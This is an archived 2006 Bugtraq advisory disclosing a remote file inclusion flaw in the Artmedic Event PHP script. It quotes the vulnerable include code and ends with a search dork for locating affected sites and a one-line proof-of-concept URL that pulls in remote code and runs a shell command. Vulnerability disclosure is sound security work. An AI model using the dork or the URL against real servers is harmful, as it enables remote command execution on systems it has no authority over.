bugtraq - [Kurdish Security #2] Artmedic Event Remote File Include Vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20060428174527.30903.qmail@securityfocus.com>
Date: 28 Apr 2006 17:45:27 -0000
From: botan@...uxmail.org
To: bugtraq@...urityfocus.com
Subject: [Kurdish Security #2] Artmedic Event Remote File Include
 Vulnerability


 
Original Advisory : http://kurdishsecurity.blogspot.com/2006/04/artmedic-event-remote-file-include.html
#Artmedic Event Remote File Include Vulnerability
#Website : http://www.artmedic.de/
#Script : Artmedic Event Script
#Risk : High
#Class : Remote
#Greetz : B3g0k,Nistiman,Flot,Netqurd etc..
#d0rk : "/event/index.php?page=" "Artmedic Web Desing"

Description [Deutch] "artmedic event, author Ellen Baitinger, artmedic webdesign, http://www.artmedic.de Dieses Programm ist Freeware und darf kostenlos eingesetzt werden, solange der Link auf artmedic webdesign und die Hinweise der Autorenschaft unangetastet bleiben."

I.

if(!file_exists("artmedic_event_inc.php")) 
{include("setup.php"); 
exit; 
} 
require("artmedic_event_inc.php"); 
echo "$eventtitle"; 
$start = filectime($news); 
$jetzt = time(); 
$update = "$start"+"$timespan"; 
if($jetzt >= $update) 
{include("artmedic_event_html.php");}

-----------------------------------------------------------------------------

II.

if(!$id and !$page) 
{@...lude("artmedic_event1.htm");} 
if(!$id and $page) 
{@...lude("$page");} 
if($id==1) 
{include("artmedic_event_inputform.htm");} 
if($id==2) 
{include("artmedic_event_add.php");} 
?
-------------------------------------------------------------------------------


III.

Proof of Concept:

http://www.site.com/[path]/event/index.php?page=evilcode.txt?&cmd=uname -a